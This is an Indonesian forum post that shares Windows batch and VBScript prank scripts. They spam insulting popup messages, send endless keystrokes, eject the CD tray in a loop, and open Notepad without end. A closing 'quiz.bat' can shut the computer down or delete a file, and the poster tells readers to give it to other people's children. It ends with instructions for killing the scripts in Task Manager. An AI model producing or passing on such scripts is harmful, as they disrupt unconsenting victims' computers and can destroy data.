PDA

View Full Version : [share] kumpulan script jahil

Syahrani10
24th October 2012, 03:17 PM
MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS:


[/quote]





@ECHO off

:Begin

msg * muka lo jelek

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

GOTO BEGIN





==> save nama script diatas dg ekstensi *.bat










BIKIN SHUTDOWN + MESSAGES:








Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop





==> save nama script diatas dg ekstensi *.vbs





BUKA TUTUP CD/DVD SECARA OTOMATIS:








Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop





==> save nama script diatas dg ekstensi *.vbs





BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS:








MsgBox "kembali ke menu

sebelumnya"

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop





==> save nama script diatas dg ekstensi *.vbs





OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD:








Set wshShell =

wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "lu jelek

banget sih!!!"

loop





==> save nama script diatas dg ekstensi *.vbs





MEMBUKA NOTEPAD TERUS MENERUS:








@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top





==> save nama script diatas dg ekstensi *.BAT





OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU":








WScript.Sleep 1800

WScript.Sleep 100

Set WshShell =

WScript.CreateObject

("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 10

WshShell.AppActivate "Notepad"

WScript.Sleep 50

WshShell.SendKeys "ka"

WScript.Sleep 50

WshShell.SendKeys "mu "

WScript.Sleep 50

WshShell.SendKeys "je"

WScript.Sleep 50

WshShell.SendKeys "le"

WScript.Sleep 50

WshShell.SendKeys "k "

WScript.Sleep 50

WshShell.SendKeys " se"

WScript.Sleep 50

WshShell.SendKeys "ka"

WScript.Sleep 50

WshShell.SendKeys "li"

WScript.Sleep 50

WshShell.SendKeys " y"

WScript.Sleep 50

WshShell.SendKeys "a"

WScript.Sleep 50

WshShell.SendKeys " h"

WScript.Sleep 50

WshShell.SendKeys "!"

WScript.Sleep 50

WshShell.SendKeys "!! "





==> save nama script diatas dg ekstensi *.vbs





BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2:








@echo off

title quiz hari ini :)

:menu

cls

echo jika kamu kena virus apa

yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t

30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo rusak

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top





==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...






[quote]





Cara menjalankan program jahil tersebut adalah dengan klik 2x pada file notepad yang anda buat tadi

cara untuk menghentikan script tersebut adalah sbb : buka task manager(CTRL+ALT+DEL)�>applications�>Lihat aplikasi yang dijalankan td�>klik kanan�>Go To Process�>end process pada baris yang disorot





sumber: http://www.gururu*paindonesia...com/...n-script-jahil (http://www.gururu*paindonesia...com/t3694-kumpulan-script-jahil)




[/spoiler][spoiler=open this] for TS:




kalau yang ISO kasih :melonndan:, yang belum ISO kasih :rate5 aja :D









maap kalau :repost: :D

</div>